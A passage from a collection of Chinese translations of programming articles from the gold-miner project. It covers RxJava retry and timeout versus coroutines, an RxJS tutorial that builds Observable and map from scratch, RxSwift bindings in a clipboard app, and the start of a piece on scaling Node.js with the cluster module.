并分发第一个执行的任务，以及剩下的主线程执行逻辑。 这是由于一旦锁住， **start()** 将会给主线程增加一个活锁状态，直到有任何随后事件打破锁定，主线程才会继续执行。\n3. 设置一个堆变量来记录重试次数。\n4. 一旦有通过 **Single.defer** 的订阅，计数器加一并打印 “Attempt” 字符串。该操作符允许保留每个订阅的状态，这正是我们在下游执行的 **retry()** 操作符所期望的。\n5. 使用 **zip** 操作符来异步执行两个元素的计算，二者都在后台线程执行自己的函数。\n6. 当二者都完成时，将结果相加。\n7. 为了让超时取消，使用 **doOnDispose** 操作符来打印当前状态和时间。\n8. 使用 **timeout** 操作符定义求和的超时。如果超时则会发送 **TimeoutException**（例如该场景下没有反馈时）。\n9. retry 操作符的重载提供了重试时间以及当前错误。打印错误后，应该返回 **true** ——也就是说必须执行重试——如果重试次数小于三并且当前错误是 **TimeoutException** 的话。任何其他错误只会终止而不是触发重试。\n10. 一旦完成，我们需要关闭调度器，来让释放主线程并退出JVM。\n11. 当然，在完成前我们需要打印求和结果以及整个操作的耗时。\n\n可能有人说，这比协程的实现复杂多了。不过……至少跑起来了：\n\n```\n    Cancelling at T=4527\n\nAttempt 1 at T=72\n    Cancelling at T=587\n         Crash at 587\nAttempt 2 at T=587\n    Cancelling at T=1089\n         Crash at 1090\nAttempt 3 at T=1090\n    Cancelling at T=1291\n3\nEnd at T=1292\n```\n\n有趣的是，如果在 **main** 函数中同时调用两个函数的话，**Cancelling at T=4527** 是在调用 **coroutineWay()** 方法时打印出来的：尽管最后根本没有时间消耗，取消事件自身就浪费在无法停止的计算问题上，也因此在取消已经完成的任务上增加了额外消耗。\n\n另一方面，RxJava 至少及时地取消和重试了函数。然而，实际上也有几乎没必要的 **Cancelling at T=1291** 被打印出来了。呐，没办法，写出来就这样了，或者说我懒吧，在 **Single.timeout** 中是这样实现的：如果没有延时就完成了的话，无论操作符真实情况如何，内部的 **CompositeDisposable** 代理了上游的 **Disposable** 并将其和操作符一起取消了。\n\n## 结论\n\n最后呢，我们通过一个小小的改进来看一下响应式设计的强大之处：如果只需要重试没有响应的函数的话，为什么我们要重试整个过程呢？改进方法也可以很容易地在 RxJava 中找到：将 **doOnDispose().timeout().retry()** 放到每一个函数调用链中（也许用 transfomer 可以避免代码的重复）：\n\n```\nval timeoutRetry = SingleTransformer<Int, Int> { \n    it.doOnDispose({\n        println(\"    Cancelling at T=\" + \n            (System.currentTimeMillis() - t0))\n    })\n    .timeout(500, TimeUnit.MILLISECONDS)\n    .retry({ x, e ->\n        println(\"         Crash at \" + \n            (System.currentTimeMillis() - t0))\n        x < 3 && e is TimeoutException\n    })\n}\n\n// ...\n\nSingle.zip(\n    Single.fromCallable({ f3(c) })\n        .subscribeOn(Schedulers.io())\n        .compose(timeoutRetry)\n    ,\n    Single.fromCallable({ f4(c) })\n        .subscribeOn(Schedulers.io())\n        .compose(timeoutRetry)\n    ,\n    BiFunction<Int, Int> { a, b -> a + b }\n)\n// ...\n```\n\n欢迎读者亲自动手实践并更新协程的实现来实现相同行为（顺便可以试试各种其他形式的取消机制）。\n响应式编程的好处之一是大多数情况下都不必去理会诸如线程、取消信息的传递和操作符的结构等恼人的东西。RxJava 之类的库已经设计好了 API 并将这些底层的大麻烦封装起来了，通常情况下，程序员只需要使用即可。\n\n那么，协程到底有没有用呢？当然有用啦，但总的来说，我还是觉得性能对其是极大的限制，同时，我也想知道协程可以怎么做才能整体取代响应式编程。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/rxjs-observables-observers-operators.md",
    "content": "> * 原文地址：[RxJS: Observables, observers and operators introduction](https://toddmotto.com/rxjs-observables-observers-operators)\n> * 原文作者：本文已获原作者 [Todd](https://toddmotto.com/) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[sunui](https://github.com/sunui),[GangsterHyj](https://github.com/GangsterHyj)\n\n# RxJS 简介：可观察对象、观察者与操作符 #\n\n\n对于响应式编程来说，RxJS 是一个不可思议的工具。今天我们将深入探讨什么是 Observable（可观察对象）和 observer（观察者），然后了解如何创建自己的 operator（操作符）。\n\n如果你之前用过 RxJS，想了解它的内部工作原理，以及 Observable、operator 是如何运作的，这篇文章将很适合你阅读。\n\n### 什么是 Observable（可观察对象）？ ###\n\n可观察对象其实就是一个比较特别的函数，它接受一个“观察者”（observer）对象作为参数（在这个观察者对象中有 “next”、“error”、“complete”等方法），以及它会返回一种解除与观察者关系的逻辑。例如我们自己实现的时候会使用一个简单的 “unsubscribe” 函数来实现退订功能（即解除与观察者绑定关系的逻辑）。而在 RxJS 中， 它是一个包含 `unsubsribe` 方法的订阅对象（Subscription）。\n\n可观察对象会创建观察者对象（稍后我们将详细介绍它），并将它和我们希望获取数据值的“东西”连接起来。这个“东西”就是生产者（producer），它可能来自于 `click` 或者 `input` 之类的 DOM 事件，是数据值的来源。当然，它也可以是一些更复杂的情况，比如通过 HTTP 与服务器交流的事件。\n\n我们稍后将要自己写一个可观察对象，以便更好地理解它！在此之前，让我们先看看一个订阅对象的例子：\n\n```\nconst node = document.querySelector('input[type=text]');\n\nconst input$ = Rx.Observable.fromEvent(node, 'input');\n\ninput$.subscribe({\n  next: (event) => console.log(`你刚刚输入了 ${event.target.value}!`),\n  error: (err) => console.log(`Oops... ${err}`),\n  complete: () => console.log(`完成!`)\n});\n```\n\n这个例子使用了一个 `<input type=\"text\">` 节点，并将其传入 `Rx.Observable.fromEvent()` 中。当我们触发指定的事件名时，它将会返回一个输入的 `Event` 的可观察对象。（因此我们在 console.log 中用  `${event.target.value}` 可以获取输入值）\n\n当输入事件被触发的时候，可观察对象会将它的值传给观察者。\n\n### 什么是 Observer（观察者）？ ###\n\n观察者相当容易理解。在前面的例子中，我们传入 `.subscribe()` 中的对象字面量就是观察者（订阅对象将会调用我们的可观察对象）。\n\n> `.subscribe(next, error, complete)` 也是一种合法的语法，但是我们现在研究的是对象字面量的情况。\n\n当一个可观察对象产生数据值的时候，它会通知观察者，当新的值被成功捕获的时候调用 `.next()`，发生错误的时候调用 `.error()`。\n\n当我们订阅一个可观察对象的时候，它会持续不断地将值传递给观察者，直到发生以下两件事：一种是生产者告知没有更多的值需要传递了，这种情况它会调用观察者的 `.complete()` ；一种是我们（“消费者”）对之后的值不再感兴趣，决定取消订阅（unsubsribe）。\n\n如果我们想要对可观察对象传来的值进行组成构建（compose），那么在值传达最终的 `.subscribe()` 代码块之前，需要经过一连串的可观察对象（也就是操作符）处理。这个一连串的“链”也就是我们所说的可观察对象序列。链中的每个操作符都会返回一个新的可观察对象，让我们的序列能够持续进行下去——这也就是我们所熟知的“流”。\n\n### 什么是 Operator（操作符）？  ###\n\n我们前面提到，可观察对象能够进行链式调用，也就是说我们可以像这样写代码：\n\n```\nconst input$ = Rx.Observable.fromEvent(node, 'input')\n  .map(event => event.target.value)\n  .filter(value => value.length >= 2)\n  .subscribe(value => {\n    // use the `value`\n  });\n```\n\n这段代码做了下面一系列事情：\n\n- 我们先假定用户输入了一个“a”\n- 可观察对象将会对这个输入事件作出反应，将值传给下一个观察者\n- “a”被传给了订阅了我们**初始**可观察对象的 `.map()`\n- `.map()` 会返回一个 `event.target.value` 的新可观察对象，然后调用它观察者对象中的 `.next()`\n- `.next()` 将会调用订阅了 `.map()` 的 `.filter()`，并将 `.map()` 处理后的值传递给它\n- `.filter()` 将会返回另一个可观察对象，`.filter()` 过滤后留下 `.length` 大于等于 2 的值，并将其传给 `.next()`\n- 我们通过 `.subscribe()` 获得了最终的数据值\n\n这短短的几行代码做了这么多的事！如果你还觉得弄不清，只需要记住：\n\n每当返回一个新的可观察对象，都会有一个新的**观察者**挂载到前一个**可观察对象**上，这样就能通过观察者的“流”进行传值，对观察者生产的值进行处理，然后调用 `.next()` 方法将处理后的值传递给下一个观察者。\n\n简单来说，操作符将会不断地依次返回新的可观察对象，让我们的流能够持续进行。作为用户而言，我们不需要关心什么时候、什么情况下需要创建与使用可观察对象与观察者，我们只需要用我们的订阅对象进行链式调用就行了。\n\n### 创建我们自己的 Observable（可观察对象） ###\n\n现在，让我们开始写自己的可观察对象的实现吧。尽管它不会像 Rx 的实现那么高级，但我们还是对完善它充满信心。\n\n#### Observable 构造器 ####\n\n首先，我们需要创建一个 Observable 构造函数，此构造函数接受且仅接受 `subscribe` 函数作为其唯一的参数。每个 Observable 实例都存储 subscribe 属性，稍后可以由观察者对象调用它：\n\n```\nfunction Observable(subscribe) {\n  this.subscribe = subscribe;\n}\n```\n\n每个分配给 `this.subscribe` 的 `subscribe` 回调都将会被我们或者其它的可观察对象调用。这样我们下面做的事情就有意义了。\n\n#### Observer 示例 ####\n\n在深入探讨实际情况之前，我们先看一看基础的例子。\n\n现在我们已经配好了可观察对象函数，可以调用我们的观察者，将 `1` 这个值传给它并订阅它：\n\n```\nconst one$ = new Observable((observer) => {\n  observer.next(1);\n  observer.complete();\n});\n\none$.subscribe({\n  next: (value) => console.log(value) // 1\n});\n```\n\n我们订阅了 Observable 实例，将我们的 observer（对象字面量）传入构造器中（之后它会被分配给 `this.subscribe`）。\n\n#### Observable.fromEvent ####\n\n现在我们已经完成了创建自己的 Observable 的基础步骤。下一步是为 Observable 添加 `static` 方法：\n\n```\nObservable.fromEvent = (element, name) => {\n\n};\n```\n\n我们将像使用 RxJS 一样使用我们的 Observable：\n\n```\nconst node = document.querySelector('input');\n\nconst input$ = Observable.fromEvent(node, 'input');\n```\n\n这意味着我们需要返回一个新的 Observable，然后将函数作为参数传递给它：\n\n```\nObservable.fromEvent = (element, name) => {\n  return new Observable((observer) => {\n\n  });\n};\n```\n\n这段代码将我们的函数传入了构造器中的 `this.subscribe`。接下来，我们需要将事件监听设置好：\n\n```\nObservable.fromEvent = (element, name) => {\n  return new Observable((observer) => {\n    element.addEventListener(name, (event) => {}, false);\n  });\n};\n```\n\n那么这个 `observer` 参数是什么呢？它又是从哪里来的呢？\n\n这个 `observer` 其实就是携带 `next`、`error`、`complete` 的对象字面量。\n\n> 这块其实很有意思。`observer` 在 `.subscribe()` 被调用之前都不会被传递，因此 `addEventListener` 在 Observable 被“订阅”之前都不会被执行。\n\n一旦调用 subscribe，也就会调用 Observable 构造器内的 `this.subscribe` 。它将会调用我们传入 `new Observable(callback)` 的 callback，同时也会依次将值传给我们的观察者。这样，当 Observable 做完一件事的时候，它就会用更新过的值调用我们观察者中的 `.next()` 方法。\n\n那么之后呢？我们已经得到了初始化好的事件监听器，但是还没有调用 `.next()`。下面完成它：\n\n```\nObservable.fromEvent = (element, name) => {\n  return new Observable((observer) => {\n    element.addEventListener(name, (event) => {\n      observer.next(event);\n    }, false);\n  });\n};\n```\n\n我们都知道，可观察对象在被销毁前需要一个“处理后事”的函数，在我们这个例子中，我们需要移除事件监听：\n\n```\nObservable.fromEvent = (element, name) => {\n  return new Observable((observer) => {\n    const callback = (event) => observer.next(event);\n    element.addEventListener(name, callback, false);\n    return () => element.removeEventListener(name, callback, false);\n  });\n};\n```\n\n因为这个 Observable 还在处理 DOM API 和事件，因此我们还不会去调用 `.complete()`。这样在技术上就有无限的可用性。\n\n试一试吧！下面是我们已经写好的完整代码：\n\n```\nconst node = document.querySelector('input');\nconst p = document.querySelector('p');\n\nfunction Observable(subscribe) {\n  this.subscribe = subscribe;\n}\n\nObservable.fromEvent = (element, name) => {\n  return new Observable((observer) => {\n    const callback = (event) => observer.next(event);\n    element.addEventListener(name, callback, false);\n    return () => element.removeEventListener(name, callback, false);\n  });\n};\n\nconst input$ = Observable.fromEvent(node, 'input');\n\nconst unsubscribe = input$.subscribe({\n  next: (event) => {\n    p.innerHTML = event.target.value;\n  }\n});\n\n// 5 秒之后自动取消订阅\nsetTimeout(unsubscribe, 5000);\n```\n\n在线示例：\n\n```\nHTML\n\n<input type=\"text\">\n<p></p>\n\nJavaScript\n\nconst node = document.querySelector('input');\nconst p = document.querySelector('p');\n\nfunction Observable(subscribe) {\n  this.subscribe = subscribe;\n}\n\nObservable.fromEvent = (element, name) => {\n  return new Observable((observer) => {\n    const callback = (event) => observer.next(event);\n    element.addEventListener(name, callback, false);\n    return () => element.removeEventListener(name, callback, false);\n  });\n};\n\nconst input$ = Observable.fromEvent(node, 'input');\n\ninput$.subscribe({\n  next: (event) => {\n    p.innerHTML = event.target.value;\n  }\n});\n\n\n```\n### 创造我们自己的 Operator（操作符） ###\n\n在我们理解了可观察对象与观察者对象的概念之后，我们可以更轻松地去创造我们自己的操作符了。我们在 `Observable` 对象原型中加上一个新的方法：\n\n```\nObservable.prototype.map=function(mapFn){\n\n};\n```\n\n这个方法将会像 JavaScript 中的 `Array.prototype.map` 一样使用，不过它可以对任何值用：\n\n```\nconst input$ = Observable.fromEvent(node, 'input')\n\t.map(event => event.target.value);\n```\n\n所以我们要取得回调函数，并调用它，返回我们期望得到的数据。在这之前，我们需要拿到流中最新的数据值。\n\n下面该做什么就比较明了了，我们要得到调用了这个 `.map()` 操作符的 Observable 实例的引用入口。我们是在原型链上编程，因此可以直接这么做：\n\n```\nObservable.prototype.map = function (mapFn) {\n  const input = this;\n};\n```\n\n找找乐子吧！现在我们可以在返回的 Obeservable 中调用 subscribe：\n\n```\nObservable.prototype.map = function (mapFn) {\n  const input = this;\n  return new Observable((observer) => {\n  \treturn input.subscribe();\n  });\n};\n```\n\n> 我们要返回 `input.subscribe()` ，因为在我们退订的时候，非订阅对象将会顺着链一直转下去，解除每个 Observable 的订阅。\n\n这个订阅对象将允许我们把之前 `Observable.fromEvent` 传来的值传递下去，因为它返回了构造器中含有 `subscribe` 原型的新的 Observable 对象。我们可以轻松地订阅它对数据值做出的任何更新！最后，完成通过 map 调用我们的 `mapFn()` 的功能：\n\n```\nObservable.prototype.map = function (mapFn) {\n  const input = this;\n  return new Observable((observer) => {\n    return input.subscribe({\n      next: (value) => observer.next(mapFn(value)),\n      error: (err) => observer.error(err),\n      complete: () => observer.complete()\n    });\n  });\n};\n```\n\n现在我们可以进行链式调用了！\n\n```\nconst input$ = Observable.fromEvent(node, 'input')\n  .map(event => event.target.value);\n\ninput$.subscribe({\n  next: (value) => {\n    p.innerHTML = value;\n  }\n});\n```\n\n注意到最后一个 `.subscribe()` 不再和之前一样传入 `Event` 对象，而是传入了一个 `value` 了吗？这说明你成功地创建了一个可观察对象流。\n\n再试试：\n```\n\nHTML\n\n<input type=\"text\">\n<p></p>\n<button type=\"button\">\n  Unsubscribe\n</button>\n\nJavaScript\n\nconst node = document.querySelector('input');\nconst p = document.querySelector('p');\n\nfunction Observable(subscribe) {\n  this.subscribe = subscribe;\n}\n\nObservable.prototype.map = function (mapFn) {\n  const input = this;\n  return new Observable((observer) => {\n    return input.subscribe({\n      next: (value) => observer.next(mapFn(value)),\n      error: (err) => observer.error(err),\n      complete: () => observer.complete()\n    });\n  });\n};\n\nObservable.fromEvent = (element, name) => {\n  return new Observable((observer) => {\n    const callback = (event) => observer.next(event);\n    element.addEventListener(name, callback, false);\n    return () => element.removeEventListener(name, callback, false);\n  });\n};\n\nconst input$ = Observable.fromEvent(node, 'input')\n\t.map(event => event.target.value);\n\nconst unsubscribe = input$.subscribe({\n  next: (value) => {\n    p.innerHTML = value;\n  }\n});\n\n// avert your eyes\ndocument\n\t.querySelector('button')\n\t.addEventListener('click', unsubscribe);\n\n\n\n```\n希望这篇文章对你来说还算有趣~:)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/rxswift-at-first-sight.md",
    "content": "> * 原文链接 : [RxSwift at first sight](https://blog.alltheflow.com/rxswift-at-first-sight/?utm_campaign=iOS%2BDev%2BWeekly&utm_medium=email&utm_source=iOS_Dev_Weekly_Issue_236)\n* 原文作者 : [alltheflow](https://blog.alltheflow.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [SatanWoo](https://github.com/SatanWoo)\n* 校对者 : [joyking7](https://github.com/joyking7), [davidear](https://github.com/davidear)\n* 状态 : 校对完成\n\n# RxSwift 的第一印象\n\n去年整整一年，我都在试图理解响应式编程的原理是什么，并且试图验证如果在我的app中使用这种编程范式是否会带来好处。于是，我查询了许多相关的解决方案，从 [ReactiveCocoa](https://github.com/ReactiveCocoa/ReactiveCocoa) & Objective-C 开始，及其 Swift 版本 [ReactiveCocoa with Swift](https://blog.alltheflow.com/reactive-swift-upgrading-to-reactivecocoa-3-0/)，再到我朋友实现的一个轻量级的框架 [VinceRP](https://github.com/bvic23/VinceRP)。上述这些都是令人赞叹不已的项目，ReactiveCocoa 的项目成熟度非常高，但是十分复杂；而VinceRP的实现非常容易，所以理解起来非常简单。\n\n在学习的过程中，我写了一系列关于[我学习响应式编程的经历](https://blog.alltheflow.com/tag/reactive)的文章，所以经常会被读者问到一些关于 [RxSwift](https://github.com/ReactiveX/RxSwift) 的问题。惭愧地说，我还从没有使用RxSwift来编写一个项目。实际上我还从来没用过任何语言的 [Rx](http://reactivex.io/languages.html) 框架，所以我一直认为，对于那些曾在别的开发环境中有使用Rx经历的人来说，理解RxSwift是非常容易的。既然如此，我也是时候来尝试一把了。\n\n## Rx\n\nRx是最常使用的一个响应式编程框架。它与其他RP框架的一大不同是它的跨平台特性，同时，它有着最大的开源社区，无数的文档以及有参考价值的问题讨论，许许多多的人不断地对其进行改进。\n\n## Swift\n这门语言在去年一年中飞速的成长，并且现在也进行了[开源](https://github.com/apple/swift)了。一些像RxSwift之类的项目也随着其一起成长。因此，现在已经没有什么理由可以再阻止你去使用Swift这项技术了。当然，一些重大的改动仍然被列在radar上，但它们很可能在短时间内不会被解决，这就意味着这个项目会不断地被改进，这不是很好吗？\n\n## 使用 RxSwift 开发一个app\n\n如果你曾阅读过[我的博客](https://blog.alltheflow.com)，可能你现在会猜我使用RxSwift开发了一个app。没错，你是对的。这是个很耗时的习惯，但是我不喜欢依赖于一个理想的环境，所以通常我都会写一个例子来让我有那么一点感觉。通过这种方式，我可以很好理解如何让框架为我工作，而不是我为它工作。这里我想说一点个人感受，对于解决问题来说，你所选用的框架只是万千可用方案中的一种，因此，方案的选择是因人而异的。而这些选择所带来的多样性，正是我如此热爱编程的一大原因。\n\n我所写的这个应用名叫 [iCopyPasta](https://github.com/alltheflow/iCopyPasta)，是一个在去年[Functional Swift Conf](http://2015.funswiftconf.com/) 上展示的Mac剪贴板应用 [CopyPasta](https://github.com/alltheflow/copypasta) 的iOS姐妹版。显而易见，它们并不是一个完整的产品所以并不可以被用来上架。我现在每天都使用Mac版本的CopyPasta，但是我可能存在某些偏见。我的计划是将来会发布Mac版本和iOS版本的CopyPasta应用，并可能会将这两个版本进行打通。\n\n> 难道这不是我一直以来的计划吗？  \n\n### Observables\n\n我首先对 [`UIPasteboard`](https://developer.apple.com/library/prerelease/ios/documentation/UIKit/Reference/UIPasteboard_Class/index.html) 开启监听，这些监听会对你拷贝东西时出现在 UIPasteboard 中的字符串和图像类型进行观测。\n\n    let pasteboard = NSNotificationCenter.defaultCenter().rx_notification(\"UIPasteboardChangedNotification\", object: nil)\n    _ = pasteboard.map { [weak self] (notification: NSNotification) -> PasteboardItem? in\n        if let pb = notification.object as? UIPasteboard {\n            if let string = pb.valueForPasteboardType(kUTTypeUTF8PlainText as String) {\n                return self?.pasteboardItem(string)\n            }\n            if let image = pb.valueForPasteboardType(kUTTypeImage as String) {\n                return self?.pasteboardItem(image)\n            }\n        }\n        return nil\n    }\n\n之前我的方法是直接对`UIPasteboard`中的`字符串`和`图像`直接进行观察，但是这个方法是不稳妥的。原因在于`UIPasteboard`可能不是一个KVO安全的类型（具体请看下方的评论）。参考别人的建议后，我使用RxSwift另一个非常棒的特性[`rx_notification`](https://github.com/ReactiveX/RxSwift/blob/83bac6db0cd4f7dd3e706afc6747bd5797ea16ff/RxCocoa/Common/Observables/NSNotificationCenter%2BRx.swift#L23)来监听`UIPasteboardChangedNotification `\n\n    .subscribeNext { [weak self] pasteboardItem in\n        if let item = pasteboardItem {\n            self?.addPasteboardItem(item)\n        }\n    }\n\n这里的`pasteboard `是一个`Observable<NSNotification>`，这也是为什么可以很容易得订阅其`.Next`事件同时相应地去更新`tableView`。而`map`则是从监听到的通知所涉及的对象中获取字符串或者图像，并将获取到的结果转换成[`PasteboardItem`](https://github.com/alltheflow/iCopyPasta/blob/master/iCopyPasta/PasteboardItem.swift#L41)。\n\n### Dispose bags\n\n订阅信号会产生`Disposable`。如果不终止订阅，那么这些生成的`Disposable `将会一直存在，这无疑是非常耗内存的。所以，你要么对这些订阅调用`dispose `，要么你可以像我一样，使用[dispose bags](https://github.com/ReactiveX/RxSwift/blob/master/Documentation/GettingStarted.md#dispose-bags)来自动销毁相关的订阅。\n\n    .addDisposableTo(disposeBag)\n     \n### UIKit/Appkit bindings\n\n你可以很容易地通过[`rx_itemsWithCellIdentifier`](https://github.com/ReactiveX/RxSwift/blob/b00d35a5ef13dbcf57257f47fb14a60a2c924d19/RxCocoa/iOS/UITableView%2BRx.swift#L46)将[`Observable`](https://github.com/ReactiveX/RxSwift/blob/master/Documentation/GettingStarted.md#observables-aka-sequences)序列绑定到table view上。`element`来自于我定义的[`PasteboardItem`](https://github.com/alltheflow/iCopyPasta/blob/master/iCopyPasta/PasteboardItem.swift#L41)枚举类型，这也是为什么我会采用Switch来处理这个对象，这样可以根据其具体的枚举值来显示不同的样式。\n\n    pasteViewModel.pasteboardItems()\n        .bindTo(tableView.rx_itemsWithCellIdentifier(\"pasteCell\", cellType: UITableViewCell.self)) { (row, element, cell) in\n         switch element {\n         case .Text(let string):\n             cell.textLabel?.text = String(string)\n         case .Image(let image):\n             cell.imageView?.image = image\n    }.addDisposableTo(disposeBag)\n\n另外一个很棒的补充是[`rx_modelSelected`](https://github.com/ReactiveX/RxSwift/blob/b00d35a5ef13dbcf57257f47fb14a60a2c924d19/RxCocoa/iOS/UITableView%2BRx.swift#L204)。你可以通过它来获取你触发选择事件时对应的`element`。简单来说，它是一个对`tableView:didSelectRowAtIndexPath:`的封装，可以将代码变得非常简洁。\n\n    tableView\n        .rx_modelSelected(PasteboardItem)\n        .subscribeNext { [weak self] element in\n            self?.pasteViewModel.addItemsToPasteboard(element)\n        }.addDisposableTo(disposeBag)\n        \n你可以通过如下链接来查看所以关于 UIKit/AppKit（RxCocoa）的扩展[RxSwift's GitHub](https://github.com/ReactiveX/RxSwift/blob/master/Documentation/API.md#rxcocoa-extensions)。\n\n## 总体感受\n\n到目前为止，我还只是探索了 RxSwift 能力的一小部分，但是我已经感受到 RxSwift 是一个非常棒的框架。如果能够更深入理解它的机制并学会基于它的设计思路进行思考，那肯定会更好。\n\n我非常喜欢一些像 [Rx.playground](https://github.com/ReactiveX/RxSwift/tree/master/Rx.playground)，[RxMarbles](http://rxmarbles.com/) 这样的资料及 [great community](https://github.com/ReactiveX) 这样的社区。这些资料给了我很多的灵感，所以我也乐于将我的学习经验分享给 [bitrise.io](http://bitrise.io) 的用户。还有一些比较重要的内容，比如[schedulers](https://github.com/ReactiveX/RxSwift/blob/master/Documentation/Schedulers.md#custom-schedulers)还未被涉及，但是绝对值得研究一番。\n\n对我来说，我还需要一段时间来更好地理解 Rx。与我尝试 ReactiveCocoa 只有个把小时不同，我现在可以每天都在工作中使用 RxSwift，并且坚持使用超过了一年。这都得感谢[在 Prezi 的伙伴们](https://twitter.com/bvic23).\n\n作为一个曾经学习过 ReactiveCocoa 的人来说，我现在更倾向于使用 RxSwift，可能是因为我现在自认为已经对于 RxSwift 已经足够了解，并且使用它可以很快得完成我的编码任务。当然，在将来我可能会同时使用两者，但是我认为对于两者之间任一框架的熟练使用不代表会在学习另外一个框架的时候给你带来很大的优势。它们在几个方面有着[不同](https://stackoverflow.com/questions/32542846/reactivecocoa-vs-rxswift-pros-and-cons/32581824#32581824)。同时，这两个框架（概括来说应该是所有的响应式编程框架）都有着陡峭的学习曲线。对于我来说，我已经度过了学习 ReactiveCocoa 最难的那段时光，但如果你是一个初学者，我建议你自己动手尝试这两种框架，甚至更多。\n\n## 深入阅读\n\n如果你还在思考应该使用哪个响应式编程的框架，那么我建议你去读一读 Ash Furrow 所写的关于如何挑选响应式编程框架的[文章](https://ashfurrow.com/blog/reactivecocoa-vs-rxswift/)。\n\n你也可以看看其他一些在 iOS 中使用响应式编程的[视频及文章](https://gist.github.com/JaviLorbada/4a7bd6129275ebefd5a6)，这些内容都非常得棒，相信你会受益匪浅。\n"
  },
  {
    "path": "TODO/scaling-node-js-applications.md",
    "content": "\n> * 原文地址：[Scaling Node.js Applications](https://medium.freecodecamp.org/scaling-node-js-applications-8492bd8afadc)\n> * 原文作者：[Samer Buna](https://medium.freecodecamp.org/@samerbuna)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/scaling-node-js-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO/scaling-node-js-applications.md)\n> * 译者：[mnikn](http://github.com/mnikn)\n> * 校对者：[shawnchenxmu](https://github.com/shawnchenxmu)，[reid3290](https://github.com/reid3290)\n\n# 扩展 Node.js 应用\n\n## 你应该知道的在 Node.js 内置模块的应用于扩展的工具\n\n![](https://cdn-images-1.medium.com/max/2000/1*5zOn0-deg1nQ5YzxUFGCPA.png)\n\n来自 Pluralsight 课程中的截图 - Node.js 进阶\n\n可扩展性在 Node.js 并不是事后添加的概念，这一概念在前期就已经体现出其核心地位。Node 之所以被命名为 Node 的原因就是强调一个想法：每一个 Node 应用应该由多个小型的分散 **Node 应用**相互联系来构成。\n\n你曾经在你的 Node 应用上运行多个 Node 应用吗？你曾经试过让生产环境上的机器的每个 CPU 运行一个 Node 程序，并且对所有的请求进行负载均衡处理吗？你知道 Node 有一个内置模块能做上述事情吗？\n\nNode 的 **cluster** 模块不只是提供一个黑箱的解决方案来充分利用机器中的 CPU，同时它也能帮助你提高 Node 应用的可用性，提供一个瞬时重启整个应用的选项，这篇文章将阐述其中的所有好处。\n\n> 这篇文章是 [Pluralsight Node.js 课程](https://www.pluralsight.com/courses/nodejs-advanced) 中的一部分，我从视频中整理出了相关的内容。\n\n### 实现扩展的策略\n\n我们扩展一个应用的最主要的原因是应用的负载，但是不只是这一个原因。我们同时通过让应用具备可扩展性来提高应用的可用性和容错性。\n\n我们可以通过三种主流的方式来拓展应用：\n\n#### 1 — 克隆\n\n扩展一个大型应用最简单的方法就是多次克隆它，并让每一个克隆实例处理一部分工作（例如，使用负载均衡器）。这种做法不会占用开发周期太多时间，并且真的很管用。想要在最低限度上实现扩展，你可以使用这种方法，Node.js 有个内置模块 `cluster` 来让你在一个单一的服务器上更简单地实现克隆方法。\n\n#### 2 — 分解\n\n同时我们也可以通过 [分解](https://builttoadapt.io/whats-your-decomposition-strategy-e19b8e72ac8f) 来扩展一个应用，这种方法取决于应用的函数和服务。这意味着我们有多个不同的应用，各有着不同的基架代码，有时还会有其独自的数据库和用户接口。\n\n这个策略一般和**微服务**联系在一起，其中的微是指每个服务应该越小越好，但实际上，服务的规模无关紧要，为的是强迫人们解耦和让服务之间高内聚。实现这个策略并不容易，并有可能带来一系列预想不到的问题，但是其益处也是很显著的。\n\n#### 3 — 分离\n\n我们同时也可以把应用分成多个实例，每个实例只负责应用的一部分数据。这个方法在数据库领域内通常被称为**横向分割**或**碎片化**。数据分割要求每一步操作前都需要查找当前在使用哪一个实例。例如，我们也许想要根据用户所在的国家或者所用的语言进行分区，首先我们需要查找相关信息。\n\n成功扩展一个大型应用最终应该实现这三个策略。Node.js 让这一切变得简单，因此这篇文章我将会把注意力集中在克隆策略上，看看 Node.js 有什么可用的内置工具来实现这个策略。\n\n请注意到在读这篇文章前你需要理解好 Node.js 的**子进程**。如果你不太了解，我建议你可以先读这篇文章：\n\n[![](https://ws4.sinaimg.cn/large/006tNc79ly1fhzggwsiaej31400a6jsm.jpg)](https://medium.freecodecamp.org/node-js-child-processes-everything-you-need-to-know-e69498fe970a)\n\n### cluster 模块\n\n想要在同一环境下多个 CPU 的情况开启负载均衡，我们可以使用 cluster 模块。这基于子进程模块的 `fork` 方法，基本上它允许我们多次 fork 主应用并用在多个 CPU 上。然后它接管所有的子进程，并将所有对主进程的请求负载均衡到子进程中去。\n\nNode.js 的 cluster 模块帮助我们实现可拓展性克隆策略，但是这只适用于在只有一台服务器上的情况。如果你有一台可以储存着大量的资源的服务器，或者在一台服务器上添加资源比增添新服务器更容易和便宜时，采用 cluster 